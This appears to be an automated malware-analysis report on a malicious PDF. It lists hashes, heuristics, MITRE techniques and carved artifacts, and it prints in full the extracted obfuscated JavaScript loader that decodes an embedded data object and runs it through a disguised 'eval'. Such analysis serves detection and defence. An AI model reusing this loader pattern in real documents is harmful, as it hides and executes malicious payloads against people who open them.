PDF malware analysis — malicious · e9e4d831047b2d27

MALICIOUS

PDF

5.8 KB First seen: 2026-05-09

MD5: b8cbdf9166ad72bd295f10b1806f22b9 SHA-1: a2a867d7132a3499a786140ed661d1804b77ceb5 SHA-256: e9e4d831047b2d276396d689ffa14fcdda92aa95cc17ca4f27ceb7cb3c964960

76 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1553.005 Mark-of-the-Web Bypass

The PDF file exhibits multiple suspicious characteristics, including embedded JavaScript and an embedded binary file. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript, while not directly readable due to obfuscation, is likely intended to execute malicious code or download further stages. The presence of an embedded file further supports the hypothesis of a multi-stage attack.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0012.bin`	pdf-embedded-file	PDF EmbeddedFile object 12 at offset 0x3D6	148050 bytes
SHA-256: `5bc413e06dd64acb33a76680b4d6e1df164963466167a8f131df5d67ba855910`
Detection ClamAV: No threats found Obfuscation or payload: likely 330 of 330 identifiers look randomly generated (e.g. 'GSSjVU9d3D6eR05pY1GSSjVU9d3D6eR05pY2GSSj') — consistent with name-mangling obfuscation. Carved artifact contains 145 long base64-like blob(s).
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A0	254 bytes
SHA-256: `1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6`
Preview script First 1,000 lines of the extracted script ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){ rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd); rf=re.one.value+re.two.value;this[rf](rc);

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